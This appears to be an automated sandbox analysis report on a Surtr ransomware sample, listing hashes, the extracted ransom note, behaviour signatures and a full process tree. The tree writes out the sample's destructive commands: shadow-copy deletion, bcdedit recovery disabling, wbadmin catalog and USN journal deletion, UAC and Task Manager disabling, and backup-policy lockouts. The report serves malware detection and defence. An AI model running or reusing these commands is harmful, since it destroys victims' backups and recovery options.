Analysis
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max time kernel
247s -
max time network
249s -
platform
windows10-1703_x64 -
resource
win10-20220812-en -
resource tags
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submitted
14-11-2022 13:19
General
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Target
b88fe97196d3ea799b1e708ab452e9a61f9380a8b27a82f03575f5f046b036d0.exe
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Size
1.1MB
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MD5
ffc6b559c24b8d82afcb5c01bb5619d9
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SHA1
8e068e9c486769716d9685f85687b531ab3a88cf
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SHA256
b88fe97196d3ea799b1e708ab452e9a61f9380a8b27a82f03575f5f046b036d0
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SHA512
48cf29ecbf184f9d96b9db95190657604c7fb9570046abbeba70d99c6748afbea5f698bb4bb91b1b9b3b3ab7abc56c36a3230aa20c58a99269fe0a4884522191
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SSDEEP
24576:NyBzKGHF0bxTCFvXwKk/aISpu4Qc6F3v1HT2BzN2tgGS3YzYho1yWEsWbj28Q5m:AV4xTCzu4Qc6/F8S8bzQ
Score
10/10
Malware Config
Extracted
Path
C:\ProgramData\Service\SURTR_README.hta
Family
surtr
Ransom Note
SurtrRansomware
OOPS ALL YOUR IMPORTANT FILES HAVE BEEN ENCRYPTED AND STOLEN !!
Notice : There is only one way to restore your data read the boxes carefully!
Attention :
Do Not change file names. Do Not try to decrypt using third party softwares , it may cause permanent data loss . your files will be sold on the Dark Web after 15 days. Imagine 1 million hackers have all your information including files, IP, name and number and location and ...
Do not pay any money before decrypting the test files. You can use our 50% discount if you pay the fee within first 15 days of encryption . otherwise the price will be doubled. In order to warranty you , our team will decrypt 3 of your desired files for free.but you need to pay the specified price for the rest of the operation .
How To Decrypt :
Your system is offline . in order to contact us you can email this address [email protected] use this ID (d75kolyhzzoec2) for the title of your email . If you weren't able to contact us within 24 hours please email : [email protected] If you didn't get any respond within 48 hours use this link (Not Available Now).send your ID and your cryptor name (SurtrRansomwareUserName) therefore we can create another way to contact you as soon as possible
Signatures
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Deletes NTFS Change Journal 2 TTPs 1 IoCs
The USN change journal is a persistent log of all changes made to local files used by Windows Server systems.
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Detects Surtr Payload 4 IoCs
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Surtr
Ransomware family first seen in late 2021.
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UAC bypass 3 TTPs 1 IoCs
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Clears Windows event logs 1 TTPs 4 IoCs
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Deletes shadow copies 2 TTPs
Ransomware often targets backup files to inhibit system recovery.
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Modifies boot configuration data using bcdedit 1 TTPs 2 IoCs
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Deletes backup catalog 3 TTPs 1 IoCs
Uses wbadmin.exe to inhibit system recovery.
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Disables Task Manager via registry modification
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Disables use of System Restore points 1 TTPs
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Drops startup file 3 IoCs
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Adds Run key to start application 2 TTPs 8 IoCs
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Drops desktop.ini file(s) 29 IoCs
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Enumerates connected drives 3 TTPs 64 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
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Sets desktop wallpaper using registry 2 TTPs 1 IoCs
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Drops file in Program Files directory 64 IoCs
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Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
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Checks SCSI registry key(s) 3 TTPs 4 IoCs
SCSI information is often read in order to detect sandboxing environments.
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Creates scheduled task(s) 1 TTPs 3 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
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Interacts with shadow copies 2 TTPs 52 IoCs
Shadow copies are often targeted by ransomware to inhibit system recovery.
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Modifies registry class 5 IoCs
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Suspicious behavior: EnumeratesProcesses 64 IoCs
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Suspicious behavior: GetForegroundWindowSpam 1 IoCs
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Suspicious use of AdjustPrivilegeToken 16 IoCs
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Suspicious use of WriteProcessMemory 64 IoCs
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Views/modifies file attributes 1 TTPs 8 IoCs
Processes
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C:\Users\Admin\AppData\Local\Temp\b88fe97196d3ea799b1e708ab452e9a61f9380a8b27a82f03575f5f046b036d0.exe"C:\Users\Admin\AppData\Local\Temp\b88fe97196d3ea799b1e708ab452e9a61f9380a8b27a82f03575f5f046b036d0.exe"1⤵
- Drops desktop.ini file(s)
- Enumerates connected drives
- Sets desktop wallpaper using registry
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\Service2⤵
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C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c mkdir "%TEMP%\Service"2⤵
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin.exe Delete Shadows /all /quiet2⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\vssadmin.exevssadmin.exe Delete Shadows /all /quiet3⤵
- Interacts with shadow copies
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB2⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\vssadmin.exevssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB3⤵
- Interacts with shadow copies
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=unbounded2⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\vssadmin.exevssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=unbounded3⤵
- Interacts with shadow copies
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c bcdedit /set {default} recoveryenabled No2⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\bcdedit.exebcdedit /set {default} recoveryenabled No3⤵
- Modifies boot configuration data using bcdedit
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c bcdedit /set {default} bootstatuspolicy IgnoreAllFailures2⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\bcdedit.exebcdedit /set {default} bootstatuspolicy IgnoreAllFailures3⤵
- Modifies boot configuration data using bcdedit
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=E:\ /on=E:\ /maxsize=401MB2⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\vssadmin.exevssadmin resize shadowstorage /for=E:\ /on=E:\ /maxsize=401MB3⤵
- Enumerates connected drives
- Interacts with shadow copies
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=E:\ /on=E:\ /maxsize=unbounded2⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\vssadmin.exevssadmin resize shadowstorage /for=E:\ /on=E:\ /maxsize=unbounded3⤵
- Enumerates connected drives
- Interacts with shadow copies
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c fsutil.exe usn deletejournal /D C:2⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\fsutil.exefsutil.exe usn deletejournal /D C:3⤵
- Deletes NTFS Change Journal
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c wbadmin.exe delete catalog -quiet2⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\wbadmin.exewbadmin.exe delete catalog -quiet3⤵
- Deletes backup catalog
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=401MB2⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\vssadmin.exevssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=401MB3⤵
- Enumerates connected drives
- Interacts with shadow copies
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable2⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\schtasks.exeschtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable3⤵
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=unbounded2⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\vssadmin.exevssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=unbounded3⤵
- Enumerates connected drives
- Interacts with shadow copies
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f2⤵
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C:\Windows\system32\reg.exereg add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f3⤵
- UAC bypass
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=G:\ /on=G:\ /maxsize=401MB2⤵
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C:\Windows\system32\vssadmin.exevssadmin resize shadowstorage /for=G:\ /on=G:\ /maxsize=401MB3⤵
- Enumerates connected drives
- Interacts with shadow copies
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=G:\ /on=G:\ /maxsize=unbounded2⤵
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C:\Windows\system32\vssadmin.exevssadmin resize shadowstorage /for=G:\ /on=G:\ /maxsize=unbounded3⤵
- Enumerates connected drives
- Interacts with shadow copies
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLinkedConnections /t REG_DWORD /d 1 /f2⤵
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C:\Windows\system32\reg.exereg add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLinkedConnections /t REG_DWORD /d 1 /f3⤵
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_DWORD /d 1 /f2⤵
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C:\Windows\system32\reg.exereg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_DWORD /d 1 /f3⤵
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=H:\ /on=H:\ /maxsize=401MB2⤵
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C:\Windows\system32\vssadmin.exevssadmin resize shadowstorage /for=H:\ /on=H:\ /maxsize=401MB3⤵
- Enumerates connected drives
- Interacts with shadow copies
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\System /v AllowBlockingAppsAtShutdown /t REG_DWORD /d 1 /f2⤵
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C:\Windows\system32\reg.exereg add HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\System /v AllowBlockingAppsAtShutdown /t REG_DWORD /d 1 /f3⤵
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=H:\ /on=H:\ /maxsize=unbounded2⤵
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C:\Windows\system32\vssadmin.exevssadmin resize shadowstorage /for=H:\ /on=H:\ /maxsize=unbounded3⤵
- Enumerates connected drives
- Interacts with shadow copies
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=I:\ /on=I:\ /maxsize=401MB2⤵
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C:\Windows\system32\vssadmin.exevssadmin resize shadowstorage /for=I:\ /on=I:\ /maxsize=401MB3⤵
- Enumerates connected drives
- Interacts with shadow copies
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v StartMenuLogOff /t REG_DWORD /d 1 /f2⤵
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C:\Windows\system32\reg.exereg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v StartMenuLogOff /t REG_DWORD /d 1 /f3⤵
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=I:\ /on=I:\ /maxsize=unbounded2⤵
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C:\Windows\system32\vssadmin.exevssadmin resize shadowstorage /for=I:\ /on=I:\ /maxsize=unbounded3⤵
- Enumerates connected drives
- Interacts with shadow copies
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoRun /t REG_DWORD /d 1 /f2⤵
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C:\Windows\system32\reg.exereg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoRun /t REG_DWORD /d 1 /f3⤵
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableChangePassword /t REG_DWORD /d 1 /f2⤵
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C:\Windows\system32\reg.exereg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableChangePassword /t REG_DWORD /d 1 /f3⤵
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=J:\ /on=J:\ /maxsize=401MB2⤵
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C:\Windows\system32\vssadmin.exevssadmin resize shadowstorage /for=J:\ /on=J:\ /maxsize=401MB3⤵
- Enumerates connected drives
- Interacts with shadow copies
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableLockWorkstation /t REG_DWORD /d 1 /f2⤵
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C:\Windows\system32\reg.exereg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableLockWorkstation /t REG_DWORD /d 1 /f3⤵
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=J:\ /on=J:\ /maxsize=unbounded2⤵
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C:\Windows\system32\vssadmin.exevssadmin resize shadowstorage /for=J:\ /on=J:\ /maxsize=unbounded3⤵
- Enumerates connected drives
- Interacts with shadow copies
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System /v NoLogoff /t REG_DWORD /d 1 /f2⤵
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C:\Windows\system32\reg.exereg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System /v NoLogoff /t REG_DWORD /d 1 /f3⤵
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=K:\ /on=K:\ /maxsize=401MB2⤵
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C:\Windows\system32\vssadmin.exevssadmin resize shadowstorage /for=K:\ /on=K:\ /maxsize=401MB3⤵
- Interacts with shadow copies
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoClose /t REG_DWORD /d 1 /f2⤵
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C:\Windows\system32\reg.exereg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoClose /t REG_DWORD /d 1 /f3⤵
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=K:\ /on=K:\ /maxsize=unbounded2⤵
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C:\Windows\system32\vssadmin.exevssadmin resize shadowstorage /for=K:\ /on=K:\ /maxsize=unbounded3⤵
- Enumerates connected drives
- Interacts with shadow copies
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=L:\ /on=L:\ /maxsize=401MB2⤵
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C:\Windows\system32\vssadmin.exevssadmin resize shadowstorage /for=L:\ /on=L:\ /maxsize=401MB3⤵
- Interacts with shadow copies
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v StartMenuLogOff /t REG_DWORD /d 1 /f2⤵
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C:\Windows\system32\reg.exereg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v StartMenuLogOff /t REG_DWORD /d 1 /f3⤵
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=L:\ /on=L:\ /maxsize=unbounded2⤵
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C:\Windows\system32\vssadmin.exevssadmin resize shadowstorage /for=L:\ /on=L:\ /maxsize=unbounded3⤵
- Enumerates connected drives
- Interacts with shadow copies
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\NonEnum /v {645FF040-5081-101B-9F08-00AA002F954E} /t REG_DWORD /d 1 /f2⤵
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C:\Windows\system32\reg.exereg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\NonEnum /v {645FF040-5081-101B-9F08-00AA002F954E} /t REG_DWORD /d 1 /f3⤵
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=M:\ /on=M:\ /maxsize=401MB2⤵
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C:\Windows\system32\vssadmin.exevssadmin resize shadowstorage /for=M:\ /on=M:\ /maxsize=401MB3⤵
- Enumerates connected drives
- Interacts with shadow copies
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WinRE /v DisableSetup /t REG_DWORD /d 1 /f2⤵
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C:\Windows\system32\reg.exereg add HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WinRE /v DisableSetup /t REG_DWORD /d 1 /f3⤵
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v DisableConfig /t REG_DWORD /d 1 /f2⤵
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v DisableConfig /t REG_DWORD /d 1 /f3⤵
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=M:\ /on=M:\ /maxsize=unbounded2⤵
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C:\Windows\system32\vssadmin.exevssadmin resize shadowstorage /for=M:\ /on=M:\ /maxsize=unbounded3⤵
- Interacts with shadow copies
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v DisableSR /t REG_DWORD /d 1 /f2⤵
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v DisableSR /t REG_DWORD /d 1 /f3⤵
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=N:\ /on=N:\ /maxsize=401MB2⤵
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C:\Windows\system32\vssadmin.exevssadmin resize shadowstorage /for=N:\ /on=N:\ /maxsize=401MB3⤵
- Interacts with shadow copies
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=N:\ /on=N:\ /maxsize=unbounded2⤵
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C:\Windows\system32\vssadmin.exevssadmin resize shadowstorage /for=N:\ /on=N:\ /maxsize=unbounded3⤵
- Enumerates connected drives
- Interacts with shadow copies
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client /v DisableBackupToDisk /t REG_DWORD /d 1 /f2⤵
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C:\Windows\system32\reg.exereg add HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client /v DisableBackupToDisk /t REG_DWORD /d 1 /f3⤵
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client /v DisableBackupToNetwork /t REG_DWORD /d 1 /f2⤵
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C:\Windows\system32\reg.exereg add HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client /v DisableBackupToNetwork /t REG_DWORD /d 1 /f3⤵
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=O:\ /on=O:\ /maxsize=401MB2⤵
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C:\Windows\system32\vssadmin.exevssadmin resize shadowstorage /for=O:\ /on=O:\ /maxsize=401MB3⤵
- Enumerates connected drives
- Interacts with shadow copies
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client /v DisableBackupToOptical /t REG_DWORD /d 1 /f2⤵
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C:\Windows\system32\reg.exereg add HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client /v DisableBackupToOptical /t REG_DWORD /d 1 /f3⤵
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=O:\ /on=O:\ /maxsize=unbounded2⤵
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C:\Windows\system32\vssadmin.exevssadmin resize shadowstorage /for=O:\ /on=O:\ /maxsize=unbounded3⤵
- Enumerates connected drives
- Interacts with shadow copies
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=P:\ /on=P:\ /maxsize=401MB2⤵
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C:\Windows\system32\vssadmin.exevssadmin resize shadowstorage /for=P:\ /on=P:\ /maxsize=401MB3⤵
- Enumerates connected drives
- Interacts with shadow copies
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=P:\ /on=P:\ /maxsize=unbounded2⤵
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C:\Windows\system32\vssadmin.exevssadmin resize shadowstorage /for=P:\ /on=P:\ /maxsize=unbounded3⤵
- Interacts with shadow copies
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client /v DisableBackupLauncher /t REG_DWORD /d 1 /f2⤵
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C:\Windows\system32\reg.exereg add HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client /v DisableBackupLauncher /t REG_DWORD /d 1 /f3⤵
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client /v DisableRestoreUI /t REG_DWORD /d 1 /f2⤵
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C:\Windows\system32\reg.exereg add HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client /v DisableRestoreUI /t REG_DWORD /d 1 /f3⤵
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=Q:\ /on=Q:\ /maxsize=401MB2⤵
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client /v DisableBackupUI /t REG_DWORD /d 1 /f2⤵
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C:\Windows\system32\reg.exereg add HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client /v DisableBackupUI /t REG_DWORD /d 1 /f3⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=Q:\ /on=Q:\ /maxsize=unbounded2⤵
-
C:\Windows\system32\vssadmin.exevssadmin resize shadowstorage /for=Q:\ /on=Q:\ /maxsize=unbounded3⤵
- Enumerates connected drives
- Interacts with shadow copies
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client /v DisableSystemBackupUI /t REG_DWORD /d 1 /f2⤵
-
C:\Windows\system32\reg.exereg add HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client /v DisableSystemBackupUI /t REG_DWORD /d 1 /f3⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=R:\ /on=R:\ /maxsize=401MB2⤵
-
C:\Windows\system32\vssadmin.exevssadmin resize shadowstorage /for=R:\ /on=R:\ /maxsize=401MB3⤵
- Enumerates connected drives
- Interacts with shadow copies
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=R:\ /on=R:\ /maxsize=unbounded2⤵
-
C:\Windows\system32\vssadmin.exevssadmin resize shadowstorage /for=R:\ /on=R:\ /maxsize=unbounded3⤵
- Enumerates connected drives
- Interacts with shadow copies
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Server /v OnlySystemBackup /t REG_DWORD /d 1 /f2⤵
-
C:\Windows\system32\reg.exereg add HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Server /v OnlySystemBackup /t REG_DWORD /d 1 /f3⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Server /v NoBackupToDisk /t REG_DWORD /d 1 /f2⤵
-
C:\Windows\system32\reg.exereg add HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Server /v NoBackupToDisk /t REG_DWORD /d 1 /f3⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=S:\ /on=S:\ /maxsize=401MB2⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Server /v NoBackupToNetwork /t REG_DWORD /d 1 /f2⤵
-
C:\Windows\system32\reg.exereg add HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Server /v NoBackupToNetwork /t REG_DWORD /d 1 /f3⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=S:\ /on=S:\ /maxsize=unbounded2⤵
-
C:\Windows\system32\vssadmin.exevssadmin resize shadowstorage /for=S:\ /on=S:\ /maxsize=unbounded3⤵
- Enumerates connected drives
- Interacts with shadow copies
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=T:\ /on=T:\ /maxsize=401MB2⤵
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV13⤵
-
C:\Windows\system32\vssadmin.exevssadmin resize shadowstorage /for=T:\ /on=T:\ /maxsize=401MB3⤵
- Enumerates connected drives
- Interacts with shadow copies
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=T:\ /on=T:\ /maxsize=unbounded2⤵
-
C:\Windows\system32\vssadmin.exevssadmin resize shadowstorage /for=T:\ /on=T:\ /maxsize=unbounded3⤵
- Enumerates connected drives
- Interacts with shadow copies
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Server /v NoBackupToOptical /t REG_DWORD /d 1 /f2⤵
-
C:\Windows\system32\reg.exereg add HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Server /v NoBackupToOptical /t REG_DWORD /d 1 /f3⤵
- Enumerates connected drives
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=U:\ /on=U:\ /maxsize=401MB2⤵
-
C:\Windows\system32\vssadmin.exevssadmin resize shadowstorage /for=U:\ /on=U:\ /maxsize=401MB3⤵
- Enumerates connected drives
- Interacts with shadow copies
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Server /v NoRunNowBackup /t REG_DWORD /d 1 /f2⤵
-
C:\Windows\system32\reg.exereg add HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Server /v NoRunNowBackup /t REG_DWORD /d 1 /f3⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\WMI\Autologger\EventLog-System\{9580d7dd-0379-4658-9870-d5be7d52d6de} /v Enable /t REG_DWORD /d 0 /f2⤵
-
C:\Windows\system32\reg.exereg add HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\WMI\Autologger\EventLog-System\{9580d7dd-0379-4658-9870-d5be7d52d6de} /v Enable /t REG_DWORD /d 0 /f3⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=U:\ /on=U:\ /maxsize=unbounded2⤵
-
C:\Windows\system32\vssadmin.exevssadmin resize shadowstorage /for=U:\ /on=U:\ /maxsize=unbounded3⤵
- Enumerates connected drives
- Interacts with shadow copies
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=V:\ /on=V:\ /maxsize=401MB2⤵
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV13⤵
-
C:\Windows\system32\vssadmin.exevssadmin resize shadowstorage /for=V:\ /on=V:\ /maxsize=401MB3⤵
- Interacts with shadow copies
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c copy "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\SURTR_README.hta" "%appdata%\Microsoft\Windows\Start Menu\Programs\Startup\SURTR_README.hta"2⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=V:\ /on=V:\ /maxsize=unbounded2⤵
-
